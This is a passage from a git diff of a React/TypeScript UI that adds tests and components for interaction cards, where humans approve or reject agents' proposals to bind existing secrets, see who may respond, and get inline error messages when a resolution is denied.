+      interaction: pendingSecretProposalInteraction,
+      onAcceptInteraction,
+      onRejectInteraction,
+    });
+
+    expect(host.textContent).toContain("Secret binding requested");
+    expect(host.textContent).toContain("OpenAI API key");
+    expect((host.textContent ?? "").split("OpenAI API key")).toHaveLength(2);
+    expect(host.textContent).toContain("access.evals_openai_api_key");
+    expect(host.textContent).toContain("EvalsEngineer");
+    expect(host.textContent).toContain("Reason given by the agent");
+    expect(host.textContent).toContain("evaluation runner needs the existing credential");
+    expect(host.textContent).toContain("Expires");
+    expect(host.textContent).not.toContain(
+      pendingSecretProposalInteraction.payload.secretProposal?.proposalId,
+    );
+    expect(host.textContent).not.toContain(
+      pendingSecretProposalInteraction.payload.secretProposal?.targetAgentId,
+    );
+    expect(host.textContent?.toLowerCase()).not.toContain("fingerprint");
+
+    const statusBadge = host.querySelector('[data-testid="interaction-status-badge"]');
+    expect(statusBadge?.querySelector(".flex-col")?.textContent).toBe(
+      "Secret binding/Awaiting approval",
+    );
+    expect(statusBadge?.querySelector(".hidden")?.textContent).toBe("/");
+    const actions = host.querySelector('[data-testid="confirmation-actions"]');
+    expect(actions?.getAttribute("data-mobile-layout")).toBe("stacked");
+    expect(actions?.classList.contains("grid-cols-2")).toBe(true);
+    const configPath = Array.from(host.querySelectorAll("dd")).find((node) =>
+      node.textContent === "access.evals_openai_api_key"
+    );
+    expect(configPath?.parentElement?.classList.contains("sm:col-span-2")).toBe(true);
+
+    const approve = Array.from(host.querySelectorAll("button")).find((button) =>
+      button.textContent?.includes("Approve & bind"),
+    );
+    await act(async () => {
+      approve?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+    expect(onAcceptInteraction).toHaveBeenCalledWith(pendingSecretProposalInteraction);
+
+    const reject = Array.from(host.querySelectorAll("button")).find((button) =>
+      button.textContent?.trim() === "Reject",
+    );
+    await act(async () => {
+      reject?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+    expect(onRejectInteraction).toHaveBeenCalledWith(
+      pendingSecretProposalInteraction,
+      undefined,
+    );
+  });
+
+  it("renders an accepted proposal as executed rather than merely accepted", () => {
+    const host = renderCard({ interaction: executedSecretProposalInteraction });
+    expect(host.textContent).toContain("Executed");
+    expect(host.textContent).toContain("Binding created");
+    expect(host.textContent).not.toContain("Accepted");
+    expect(host.querySelector("button")).toBeNull();
+  });
+
+  it("renders accepted execution failure as visibly FAILED with its error code", () => {
+    const host = renderCard({ interaction: failedSecretProposalInteraction });
+    expect(host.textContent).toContain("FAILED");
+    expect(host.textContent).toContain("binding_snapshot_stale");
+    expect(host.textContent).toContain("binding was not created");
+    expect(host.textContent).not.toContain("Approve & bind");
+  });
+
+  it("distinguishes rejected and expired proposals as non-executed terminal states", () => {
+    const rejected = renderCard({ interaction: rejectedSecretProposalInteraction });
+    expect(rejected.textContent).toContain("Rejected");
+    expect(rejected.textContent).toContain("The binding was not created");
+    expect(rejected.textContent).toContain("project-scoped credential");
+
+    act(() => root?.unmount());
+    rejected.remove();
+    root = null;
+
+    const expired = renderCard({ interaction: expiredSecretProposalInteraction });
+    expect(expired.textContent).toContain("Expired");
+    expect(expired.textContent).toContain("A fresh proposal is required");
+    expect(expired.textContent).not.toContain("Approve & bind");
+  });
+});
+
+/**
+ * The effective audience is shown *before* anyone responds, so a reader never
+ * has to guess whether an open card is waiting on them (PAP-17280).
+ */
+describe("IssueThreadInteractionCard resolver audience", () => {
+  it("shows an open audience on a pending card created without a restriction", () => {
+    const host = renderCard({ interaction: pendingRequestConfirmationInteraction });
+
+    const audience = host.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-policy")).toBe("anyone");
+    expect(audience?.getAttribute("data-audience-open")).toBe("true");
+    expect(audience?.textContent).toContain("Anyone");
+    expect(audience?.textContent).toContain("the board or any agent, including the one that asked");
+    // An open card must never read as board-required.
+    expect(audience?.textContent).not.toMatch(/only a person on the board/i);
+    expect(host.querySelector('[data-testid="interaction-audience-note"]')).toBeNull();
+  });
+
+  it("names the excluded creator for an explicit not_creator card", () => {
+    const host = renderCard({
+      interaction: notCreatorRequestConfirmationInteraction,
+      agentMap: new Map([["agent-codex", { name: "CodexCoder" } as Agent]]),
+    });
+
+    const audience = host.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-policy")).toBe("not_creator");
+    expect(audience?.getAttribute("data-audience-open")).toBe("false");
+    expect(audience?.textContent).toContain("Anyone except creator");
+    expect(audience?.textContent).toContain("except CodexCoder can respond");
+  });
+
+  it("keeps human-only ownership copy on a human-only card", () => {
+    const host = renderCard({ interaction: humanOnlyRequestConfirmationInteraction });
+
+    const audience = host.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-policy")).toBe("human_only");
+    expect(audience?.textContent).toContain("Human only");
+    expect(audience?.textContent).toContain("Only a person on the board can respond");
+  });
+
+  it("keeps addressee ownership copy on an agent-addressed card", () => {
+    const host = renderCard({
+      interaction: agentAddressedRequestConfirmationInteraction,
+      agentMap: new Map([["agent-codex", { name: "CodexCoder" } as Agent]]),
+    });
+
+    const audience = host.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-open")).toBe("false");
+    expect(audience?.textContent).toContain("Addressed");
+    expect(audience?.textContent).toContain("Only CodexCoder or a person on the board can respond");
+    expect(audience?.textContent).not.toContain("Anyone");
+  });
+
+  it("explains a company cap that narrowed the requested audience", () => {
+    const host = renderCard({ interaction: companyCappedRequestConfirmationInteraction });
+
+    const audience = host.querySelector('[data-testid="interaction-audience"]');
+    expect(audience?.getAttribute("data-audience-policy")).toBe("human_only");
+    expect(
+      host.querySelector('[data-testid="interaction-audience-note"]')?.textContent,
+    ).toBe("Company interaction governance narrowed this from Anyone to Human only.");
+  });
+
+  it("explains a legacy card that predates the open default", () => {
+    const host = renderCard({ interaction: legacyRestrictedRequestConfirmationInteraction });
+
+    expect(
+      host.querySelector('[data-testid="interaction-audience-note"]')?.textContent,
+    ).toContain("Created before Anyone became the default");
+  });
+
+  it("omits the audience row once a card is resolved and shows who resolved it", () => {
+    const host = renderCard({
+      interaction: agentResolvedRequestConfirmationInteraction,
+      agentMap: new Map([["agent-codex", { name: "CodexCoder" } as Agent]]),
+    });
+
+    expect(host.querySelector('[data-testid="interaction-audience"]')).toBeNull();
+    const footer = host.querySelector('[data-testid="interaction-resolved-footer"]');
+    expect(footer?.textContent).toContain("Resolved by");
+    expect(footer?.textContent).toContain("CodexCoder");
+    expect(
+      footer?.querySelector('[data-testid="interaction-resolved-by-agent-chip"]'),
+    ).not.toBeNull();
+  });
 });
diff --git a/ui/src/components/IssueThreadInteractionCard.tsx b/ui/src/components/IssueThreadInteractionCard.tsx
index 804d2382ebe..747ccb378a7 100644
--- a/ui/src/components/IssueThreadInteractionCard.tsx
+++ b/ui/src/components/IssueThreadInteractionCard.tsx
@@ -1,8 +1,10 @@
-import { useEffect, useMemo, useRef, useState, type ReactNode } from "react";
+import { createContext, useContext, useEffect, useMemo, useRef, useState, type ReactNode } from "react";
 import type { Agent } from "@paperclipai/shared";
-import { AlertTriangle, ArrowUpRight, Bot, Check, CheckCircle2, ChevronDown, ChevronRight, CircleDashed, Clock, ExternalLink, FileText, GitBranch, ImagePlus, Loader2, MessageSquareQuote, MinusCircle, ShieldAlert, ThumbsUp, TriangleAlert, Wrench, X, XCircle } from "lucide-react";
+import { AlertTriangle, ArrowUpRight, Bot, Check, CheckCircle2, ChevronDown, ChevronRight, CircleDashed, Clock, ExternalLink, FileText, GitBranch, ImagePlus, KeyRound, Loader2, MessageSquareQuote, MinusCircle, ShieldAlert, ThumbsUp, TriangleAlert, Wrench, X, XCircle } from "lucide-react";
 import { Link } from "@/lib/router";
 import { formatAssigneeUserLabel } from "../lib/assignees";
+import { describeInteractionAudience, type InteractionAudienceDescription } from "../lib/interaction-audience";
+import { interactionResolutionErrorMessage } from "../lib/interaction-resolution-error";
 import {
   buildSuggestedTaskTree,
   collectSuggestedTaskClientKeys,
@@ -28,6 +30,7 @@ import {
   type SuggestedTaskTreeNode,
 } from "../lib/issue-thread-interactions";
 import { cn, formatDateTime, formatShortDate } from "../lib/utils";
+import { InteractionAudienceLine } from "./InteractionAudienceLine";
 import { MarkdownBody, type MarkdownExternalReferenceMap } from "./MarkdownBody";
 import { Button } from "./ui/button";
 import { Checkbox } from "./ui/checkbox";
@@ -37,9 +40,52 @@ import { SHOW_TASK_PRIORITY_UI } from "../lib/ui-flags";
 import { Textarea } from "./ui/textarea";
 import { Tooltip, TooltipContent, TooltipTrigger } from "./ui/tooltip";
 import { Badge } from "@/components/ui/badge";
+import { ProposalJustification } from "../pages/secrets/proposal-review";
 
 const OTHER_ANSWER_ID = "__paperclip_other__";
 
+/**
+ * The card's server-evaluated audience, shared with the per-kind subcards below
+ * (PAP-17287). A subcard that catches a rejected resolution needs to name who
+ * *can* respond, and re-deriving the audience per subcard would let two parts of
+ * the same card describe one policy differently.
+ */
+const InteractionAudienceContext = createContext<InteractionAudienceDescription | null>(null);
+
+/**
+ * Turns a rejected resolution into copy for the inline error region: the
+ * server's own denial reason, plus who can respond when the denial is an
+ * audience refusal. Never invites a retry that policy will refuse again.
+ */
+function useResolutionErrorMessage() {
+  const audience = useContext(InteractionAudienceContext);
+  return (error: unknown) => interactionResolutionErrorMessage(error, audience);
+}
+
+/**
+ * The inline resolution error. Announced through an `aria-live` region because a
+ * denial is the only feedback a failed decision gets — the row stays put and no
+ * toast fires on the attention surface.
+ *
+ * The live region is the *outer* wrapper, mounted whether or not there is a
+ * message: a region has to be in the accessibility tree before its content
+ * changes for the change to be announced. The styled inner div deliberately
+ * carries no `role="alert"` — `alert` is itself an assertive live region, and
+ * nesting one inside another makes some screen reader / browser pairs announce
+ * the same denial twice (PAP-17289).
+ */
+function InteractionActionError({ message }: { message: string | null }) {
+  return (
+    <div aria-live="assertive" data-testid="interaction-action-error">
+      {message ? (
+        <div className="rounded-sm border border-destructive/60 bg-destructive/10 px-3 py-2 text-sm text-destructive">
+          {message}
+        </div>
+      ) : null}
+    </div>
+  );
+}
+
 interface IssueThreadInteractionCardProps {
   interaction: IssueThreadInteraction;
   agentMap?: Map<string, Agent>;
@@ -285,6 +331,17 @@ function isToolActionConfirmation(interaction: IssueThreadInteraction): boolean
   return toolActionPayload(interaction) != null;
 }
 
+function secretProposalPayload(
+  interaction: IssueThreadInteraction,
+): NonNullable<RequestConfirmationInteraction["payload"]["secretProposal"]> | null {
+  if (interaction.kind !== "request_confirmation") return null;
+  return interaction.payload.secretProposal ?? null;
+}
+
+function isSecretProposalConfirmation(interaction: IssueThreadInteraction): boolean {
+  return secretProposalPayload(interaction) != null;
+}
+
 type ToolActionCardState =
   | "pending"
   | "running"
@@ -674,14 +731,19 @@ function SuggestTasksCard({
     [interaction.payload.tasks],
   );
   const selectedCount = selectedClientKeys.size;
+  const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
   const createdCount = interaction.result?.createdTasks?.length ?? 0;
   const skippedCount = interaction.result?.skippedClientKeys?.length ?? 0;
 
   async function handleAccept() {
     if (!onAcceptInteraction) return;
     setWorking("accept");
+    setActionError(null);
     try {
       await onAcceptInteraction(interaction, [...selectedClientKeys]);
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -690,9 +752,12 @@ function SuggestTasksCard({
   async function handleReject() {
     if (!onRejectInteraction) return;
     setWorking("reject");
+    setActionError(null);
     try {
       await onRejectInteraction(interaction, rejectReason.trim() || undefined);
       setRejecting(false);
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -854,6 +919,8 @@ function SuggestTasksCard({
               </div>
             </div>
           ) : null}
+
+          <InteractionActionError message={actionError} />
         </div>
       ) : null}
     </div>
@@ -953,6 +1020,8 @@ function AskUserQuestionsCard({
   );
   const [working, setWorking] = useState(false);
   const [cancelling, setCancelling] = useState(false);
+  const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
 
   useEffect(() => {
     setDraftAnswers(
@@ -1028,6 +1097,7 @@ function AskUserQuestionsCard({
   async function handleSubmit() {
     if (!onSubmitInteractionAnswers || !canSubmit) return;
     setWorking(true);
+    setActionError(null);
     try {
       await onSubmitInteractionAnswers(
         interaction,
@@ -1042,6 +1112,8 @@ function AskUserQuestionsCard({
           };
         }),
       );
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(false);
     }
@@ -1050,8 +1122,11 @@ function AskUserQuestionsCard({
   async function handleCancel() {
     if (!onCancelInteraction) return;
     setCancelling(true);
+    setActionError(null);
     try {
       await onCancelInteraction(interaction);
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setCancelling(false);
     }
@@ -1227,6 +1302,8 @@ function AskUserQuestionsCard({
               </Button>
             </div>
           </div>
+
+          <InteractionActionError message={actionError} />
         </div>
       ) : interaction.status === "cancelled" ? (
         <div className="rounded-2xl border border-rose-300/60 bg-rose-50/85 p-4 text-sm leading-6 text-rose-950 dark:border-rose-500/40 dark:bg-rose-500/10 dark:text-rose-100">
@@ -1766,6 +1843,7 @@ function RequestToolActionCard({
   const [rejectReason, setRejectReason] = useState("");
   const [working, setWorking] = useState<"accept" | "reject" | null>(null);
   const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
   const [nowMs, setNowMs] = useState(() => Date.now());
   const isPending = state === "pending";
   const isDestructive = payload.risk === "destructive";
@@ -1789,8 +1867,8 @@ function RequestToolActionCard({
     setActionError(null);
     try {
       await onAcceptInteraction(interaction);
-    } catch {
-      setActionError("Couldn't submit. Try again.");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -1803,8 +1881,8 @@ function RequestToolActionCard({
     try {
       await onRejectInteraction(interaction, rejectReason.trim() || undefined);
       setRejecting(false);
-    } catch {
-      setActionError("Couldn't submit. Try again.");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -1904,11 +1982,7 @@ function RequestToolActionCard({
               </div>
             ) : null}
 
-            {actionError ? (
-              <div className="rounded-sm border border-destructive/60 bg-destructive/10 px-3 py-2 text-sm text-destructive">
-                {actionError}
-              </div>
-            ) : null}
+            <InteractionActionError message={actionError} />
           </div>
         </>
       ) : (
@@ -1923,6 +1997,286 @@ function RequestToolActionCard({
   );
 }
 
+type SecretProposalCardState = ToolActionCardState;
+
+function secretProposalCardState(
+  interaction: RequestConfirmationInteraction,
+): SecretProposalCardState {
+  const proposalStatus = interaction.result?.secretProposal?.status ?? null;
+  if (interaction.status === "pending") return "pending";
+  if (proposalStatus === "executed") return "executed";
+  if (proposalStatus === "failed" || interaction.status === "failed") return "failed";
+  if (proposalStatus === "expired" || interaction.status === "expired") return "expired";
+  if (
+    proposalStatus === "rejected"
+    || proposalStatus === "withdrawn"
+    || interaction.status === "rejected"
+    || interaction.status === "cancelled"
+  ) {
+    return "declined";
+  }
+  return "running";
+}
+
+function secretProposalStatusClasses(state: SecretProposalCardState) {
+  if (state === "failed") {
+    return {
+      shell: "border-2 border-red-500/80 bg-transparent",
+      badge: "border-red-500/60 bg-red-500/10 text-red-900 dark:bg-red-500/15 dark:text-red-100",
+      label: "FAILED",
+      Icon: XCircle,
+    };
+  }
+  return toolActionStatusClasses(state);
+}
+
+function SecretProposalIdentityHeader({
+  state,
+}: {
+  state: SecretProposalCardState;
+}) {
+  const dimmed = state === "declined" || state === "expired";
+  return (
+    <div className={cn("flex items-start gap-3", dimmed && "opacity-60 grayscale")}>
+      <div
+        aria-hidden
+        className="flex h-10 w-10 shrink-0 items-center justify-center rounded-lg border border-border/70 bg-muted/60 text-foreground"
+      >
+        <KeyRound className="h-5 w-5" />
+      </div>
+      <div className="min-w-0 flex-1">
+        <div className="text-base font-bold leading-tight text-foreground">
+          Bind an existing secret
+        </div>
+      </div>
+    </div>
+  );
+}
+
+function SecretProposalDetails({
+  payload,
+}: {
+  payload: NonNullable<RequestConfirmationInteraction["payload"]["secretProposal"]>;
+}) {
+  return (
+    <dl className="grid gap-3 rounded-sm border border-border/70 bg-muted/30 p-3 sm:grid-cols-2">
+      <div className="min-w-0 space-y-1">
+        <dt className="text-(length:--text-micro) font-semibold uppercase tracking-(--tracking-eyebrow) text-muted-foreground">
+          Source secret
+        </dt>
+        <dd className="truncate text-sm font-medium text-foreground">{payload.sourceSecretLabel}</dd>
+      </div>
+      <div className="min-w-0 space-y-1">
+        <dt className="text-(length:--text-micro) font-semibold uppercase tracking-(--tracking-eyebrow) text-muted-foreground">
+          Target agent
+        </dt>
+        <dd className="truncate text-sm font-medium text-foreground">{payload.targetAgentName}</dd>
+      </div>
+      <div className="min-w-0 space-y-1 sm:col-span-2">
+        <dt className="text-(length:--text-micro) font-semibold uppercase tracking-(--tracking-eyebrow) text-muted-foreground">
+          New config path
+        </dt>
+        <dd className="break-all font-mono text-sm text-foreground">{payload.configPath}</dd>
+      </div>
+    </dl>
+  );
+}
+
+function SecretProposalResolution({
+  interaction,
+  state,
+  resolvedByLabel,
+}: {
+  interaction: RequestConfirmationInteraction;
+  state: SecretProposalCardState;
+  resolvedByLabel: string | null;
+}) {
+  const result = interaction.result?.secretProposal ?? null;
+  const who = resolvedByLabel ?? "the board";
+  const when = interaction.resolvedAt
+    ? formatDateTime(interaction.resolvedAt)
+    : result?.updatedAt
+      ? formatDateTime(result.updatedAt)
+      : null;
+
+  if (state === "running") {
+    return (
+      <div aria-live="polite" className="flex items-start gap-2 rounded-sm border border-amber-500/50 bg-amber-500/10 px-4 py-3 text-sm text-amber-900 dark:text-amber-100">
+        <Loader2 className="mt-0.5 h-4 w-4 shrink-0 animate-spin" />
+        <div>
+          <div className="font-medium">Approved by {who} — creating the binding</div>
+          <p className="mt-1 text-amber-900/80 dark:text-amber-100/80">
+            Paperclip is re-checking authority and the proposal snapshot before writing.
+          </p>
+        </div>
+      </div>
+    );
+  }
+
+  if (state === "executed") {
+    return (
+      <div aria-live="polite" className="flex items-start gap-2 rounded-sm border border-green-500/50 bg-green-500/10 px-4 py-3 text-sm text-green-900 dark:text-green-100">
+        <CheckCircle2 className="mt-0.5 h-4 w-4 shrink-0" />
+        <div>
+          <div className="font-medium">Binding created · approved by {who}</div>
+          <p className="mt-1 text-green-900/80 dark:text-green-100/80">
+            The target agent can now use the proposed config path{when ? ` · ${when}` : ""}.
+          </p>
+        </div>
+      </div>
+    );
+  }
+
+  if (state === "failed") {
+    const errorCode = result?.errorCode?.trim();
+    return (
+      <div aria-live="assertive" className="space-y-2 rounded-sm border border-red-500/60 bg-red-500/10 px-4 py-3 text-sm text-red-900 dark:text-red-100">
+        <div className="flex items-start gap-2">
+          <XCircle className="mt-0.5 h-4 w-4 shrink-0" />
+          <div>
+            <div className="font-semibold uppercase tracking-(--tracking-eyebrow)">
+              FAILED · binding was not created
+            </div>
+            <p className="mt-1 text-red-900/80 dark:text-red-100/80">
+              The request was accepted, but execution failed closed. No secret value was exposed.
+            </p>
+          </div>
+        </div>
+        {errorCode ? (
+          <div className="rounded-sm border border-red-500/50 bg-background/60 px-3 py-2">
+            <span className="text-(length:--text-nano) font-semibold uppercase tracking-(--tracking-eyebrow)">
+              Error code
+            </span>{" "}
+            <code className="font-mono text-foreground">{errorCode}</code>
+          </div>
+        ) : null}
+      </div>
+    );
+  }
+
+  if (state === "declined") {
+    const reason = interaction.result?.reason?.trim();
+    return (
+      <div className="space-y-2 rounded-sm border border-red-500/50 bg-red-500/10 px-4 py-3 text-sm text-red-900 dark:text-red-100">
+        <div className="flex items-start gap-2">
+          <XCircle className="mt-0.5 h-4 w-4 shrink-0" />
+          <div>
+            <div className="font-medium">Rejected by {who}</div>
+            <p className="mt-1 text-red-900/80 dark:text-red-100/80">The binding was not created.</p>
+          </div>
+        </div>
+        {reason ? (
+          <div className="rounded-sm border border-red-500/40 bg-background/60 px-3 py-2 text-foreground">
+            <MarkdownBody>{reason}</MarkdownBody>
+          </div>
+        ) : null}
+      </div>
+    );
+  }
+
+  return (
+    <div className="flex items-start gap-2 rounded-sm border border-border bg-muted/50 px-4 py-3 text-sm text-muted-foreground">
+      <Clock className="mt-0.5 h-4 w-4 shrink-0" />
+      <div>
+        <div className="font-medium text-foreground">Proposal expired{when ? ` · ${when}` : ""}</div>
+        <p className="mt-1">The binding was not created. A fresh proposal is required.</p>
+      </div>
+    </div>
+  );
+}
+
+function RequestSecretProposalCard({
+  interaction,
+  state,
+  resolvedByLabel,
+  onAcceptInteraction,
+  onRejectInteraction,
+}: {
+  interaction: RequestConfirmationInteraction;
+  state: SecretProposalCardState;
+  resolvedByLabel: string | null;
+  onAcceptInteraction?: (interaction: RequestConfirmationInteraction) => Promise<void> | void;
+  onRejectInteraction?: (
+    interaction: RequestConfirmationInteraction,
+    reason?: string,
+  ) => Promise<void> | void;
+}) {
+  const payload = interaction.payload.secretProposal!;
+  const [working, setWorking] = useState<"accept" | "reject" | null>(null);
+  const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
+  const isPending = state === "pending";
+
+  useEffect(() => {
+    setActionError(null);
+    if (!isPending) setWorking(null);
+  }, [interaction.id, isPending]);
+
+  async function handleAccept() {
+    if (!onAcceptInteraction) return;
+    setWorking("accept");
+    setActionError(null);
+    try {
+      await onAcceptInteraction(interaction);
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
+    } finally {
+      setWorking(null);
+    }
+  }
+
+  async function handleReject(reason?: string) {
+    if (!onRejectInteraction) return;
+    setWorking("reject");
+    setActionError(null);
+    try {
+      await onRejectInteraction(interaction, reason);
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
+    } finally {
+      setWorking(null);
+    }
+  }
+
+  return (
+    <div className="space-y-4">
+      <SecretProposalIdentityHeader state={state} />
+      <SecretProposalDetails payload={payload} />
+      <ProposalJustification justification={payload.justification} />
+      <div className="flex items-center gap-2 text-(length:--text-micro) text-muted-foreground">
+        <Clock className="h-3.5 w-3.5" />
+        Expires {formatDateTime(payload.expiresAt)}
+      </div>
+
+      {isPending ? (
+        <ConfirmationActionRow
+          resetKey={`${interaction.id}:${interaction.status}`}
+          approveLabel={interaction.payload.acceptLabel ?? "Approve & bind"}
+          reviseLabel="Add reason…"
+          rejectLabel={interaction.payload.rejectLabel ?? "Reject"}
+          approveVariant="cta"
+          allowRevise={interaction.payload.allowDeclineReason !== false}
+          rejectRequiresReason={interaction.payload.rejectRequiresReason === true}
+          reasonPlaceholder={interaction.payload.declineReasonPlaceholder ?? "Optional: explain why this binding should not be created."}
+          working={working}
+          actionError={actionError}
+          canApprove={Boolean(onAcceptInteraction)}
+          canReject={Boolean(onRejectInteraction)}
+          onApprove={() => void handleAccept()}
+          onReject={(reason) => void handleReject(reason)}
+          stackActionsOnMobile
+        />
+      ) : (
+        <SecretProposalResolution
+          interaction={interaction}
+          state={state}
+          resolvedByLabel={resolvedByLabel}
+        />
+      )}
+    </div>
+  );
+}
+
 /**
  * The single approval grammar shared by every plan / task-approval card
  * (PAP-418): **Approve · Revise… · Reject**. "Revise…" reveals an attached text
@@ -1963,6 +2317,7 @@ function ConfirmationActionRow({
   composeReason,
   extraReasonSatisfied = false,
   revisePanelChildren,
+  stackActionsOnMobile = false,
 }: {
   /** Changing this (interaction id + status) collapses the revise panel and
    * clears its draft text — the row is reused across interaction updates. */
@@ -1990,6 +2345,9 @@ function ConfirmationActionRow({
   extraReasonSatisfied?: boolean;
   /** Extra affordances rendered inside the revise panel (e.g. screenshot attach). */
   revisePanelChildren?: ReactNode;
+  /** Give domain cards with longer action labels an intentional narrow-screen
+   * hierarchy instead of relying on opportunistic flex wrapping. */
+  stackActionsOnMobile?: boolean;
 }) {
   const [revising, setRevising] = useState(false);
   const [reason, setReason] = useState("");
@@ -2013,14 +2371,19 @@ function ConfirmationActionRow({
   return (
     <div className="space-y-3">
       <div
+        data-testid="confirmation-actions"
+        data-mobile-layout={stackActionsOnMobile ? "stacked" : "inline"}
         className={cn(
-          "flex flex-wrap items-center justify-end gap-2",
+          stackActionsOnMobile
+            ? "grid grid-cols-2 items-stretch gap-2 sm:flex sm:flex-wrap sm:items-center sm:justify-end"
+            : "flex flex-wrap items-center justify-end gap-2",
           primaryActionOnRight && "flex-row-reverse justify-start",
         )}
       >
         <Button
           size="sm"
           variant={revising ? "outline" : approveVariant}
+          className={stackActionsOnMobile ? "col-span-2 w-full sm:col-auto sm:w-auto" : undefined}
           disabled={!canApprove || working !== null || approveDisabled}
           onClick={onApprove}
         >
@@ -2037,6 +2400,7 @@ function ConfirmationActionRow({
           <Button
             size="sm"
             variant="outline"
+            className={stackActionsOnMobile ? "w-full sm:w-auto" : undefined}
             disabled={!canReject || working !== null}
             onClick={() => {
               setAttempted(false);
@@ -2050,6 +2414,7 @@ function ConfirmationActionRow({
           <Button
             size="sm"
             variant="ghost"
+            className={stackActionsOnMobile ? "w-full sm:w-auto" : undefined}
             disabled={!canReject || working !== null}
             onClick={() => onReject(undefined)}
           >
@@ -2112,11 +2477,7 @@ function ConfirmationActionRow({
         </div>
       ) : null}
 
-      {actionError ? (
-        <div className="rounded-sm border border-destructive/60 bg-destructive/10 px-3 py-2 text-sm text-destructive">
-          {actionError}
-        </div>
-      ) : null}
+      <InteractionActionError message={actionError} />
     </div>
   );
 }
@@ -2145,6 +2506,7 @@ function RequestConfirmationCard({
 }) {
   const [working, setWorking] = useState<"accept" | "reject" | null>(null);
   const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
   const [shots, setShots] = useState<{ name: string; url: string }[]>([]);
   const [uploading, setUploading] = useState(false);
   const [uploadError, setUploadError] = useState<string | null>(null);
@@ -2201,8 +2563,8 @@ function RequestConfirmationCard({
     setActionError(null);
     try {
       await onAcceptInteraction(interaction);
-    } catch {
-      setActionError("Try again");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -2214,8 +2576,8 @@ function RequestConfirmationCard({
     setActionError(null);
     try {
       await onRejectInteraction(interaction, reason);
-    } catch {
-      setActionError("Try again");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -2489,6 +2851,7 @@ function RequestCheckboxConfirmationCard({
   const [working, setWorking] = useState<"accept" | "reject" | null>(null);
   const [acceptAttempted, setAcceptAttempted] = useState(false);
   const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
 
   const optionSeed = useMemo(() => optionIds.join("\n"), [optionIds]);
 
@@ -2551,8 +2914,8 @@ function RequestCheckboxConfirmationCard({
     setActionError(null);
     try {
       await onAcceptInteraction(interaction, undefined, [...selectedOptionIds]);
-    } catch {
-      setActionError("Try again");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -2564,8 +2927,8 @@ function RequestCheckboxConfirmationCard({
     setActionError(null);
     try {
       await onRejectInteraction(interaction, reason);
-    } catch {
-      setActionError("Try again");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
     } finally {
       setWorking(null);
     }
@@ -2832,6 +3195,7 @@ function RequestItemVerdictsCard({
   const [working, setWorking] = useState(false);
   const [attempted, setAttempted] = useState(false);
   const [actionError, setActionError] = useState<string | null>(null);
+  const resolutionErrorMessage = useResolutionErrorMessage();
 
   // When the server merges newly-resolved items, drop their local drafts and
   // clear the applying/working state so the terminal chips take over (S3 → S4).
@@ -2920,8 +3284,8 @@ function RequestItemVerdictsCard({
       await onSubmitInteractionVerdicts(interaction, verdicts);
       // Success: the parent refetch updates `interaction.result`, the effect
       // above clears drafts + applying state, and terminal chips render.
-    } catch {
-      setActionError("Try again");
+    } catch (error) {
+      setActionError(resolutionErrorMessage(error));
       setApplyingItemIds(new Set());
       setWorking(false);
     }
@@ -3115,11 +3479,7 @@ function RequestItemVerdictsCard({
         </div>
       ) : null}
 
-      {actionError ? (
-        <div className="rounded-sm border border-destructive/60 bg-destructive/10 px-3 py-2 text-sm text-destructive">
-          {actionError}
-        </div>
-      ) : null}
+      <InteractionActionError message={actionError} />
     </div>
   );
 }
@@ -3190,11 +3550,20 @@ export function IssueThreadInteractionCard({
   const isPlan = isPlanConfirmation(interaction);
   const isToolAction =
     interaction.kind === "request_confirmation" && isToolActionConfirmation(interaction);
+  const isSecretProposal =
+    interaction.kind === "request_confirmation" && isSecretProposalConfirmation(interaction);
   const toolActionState =
     isToolAction && interaction.kind === "request_confirmation"
       ? toolActionCardState(interaction)
       : null;
   const toolActionStyles = toolActionState ? toolActionStatusClasses(toolActionState) : null;
+  const secretProposalState =
+    isSecretProposal && interaction.kind === "request_confirmation"
+      ? secretProposalCardState(interaction)
+      : null;
+  const secretProposalStyles = secretProposalState
+    ? secretProposalStatusClasses(secretProposalState)
+    : null;
   const resumeFailure = requestConfirmationResumeFailure(interaction);
   const planStyles = isPlan
     ? planStatusClasses(
@@ -3203,7 +3572,7 @@ export function IssueThreadInteractionCard({
         interaction.result && "outcome" in interaction.result ? interaction.result.outcome : null,
       )
     : null;
-  const activeStyles = toolActionStyles ?? planStyles;
+  const activeStyles = secretProposalStyles ?? toolActionStyles ?? planStyles;
   const adminOutcome = getAdministrativeOutcome(interaction);
   const adminReason = adminOutcome ? getAdministrativeReason(interaction) : null;
   // P4 (design review R2): a withdrawal is a neutral administrative retraction by
@@ -3222,7 +3591,7 @@ export function IssueThreadInteractionCard({
     : activeStyles
       ? activeStyles.Icon
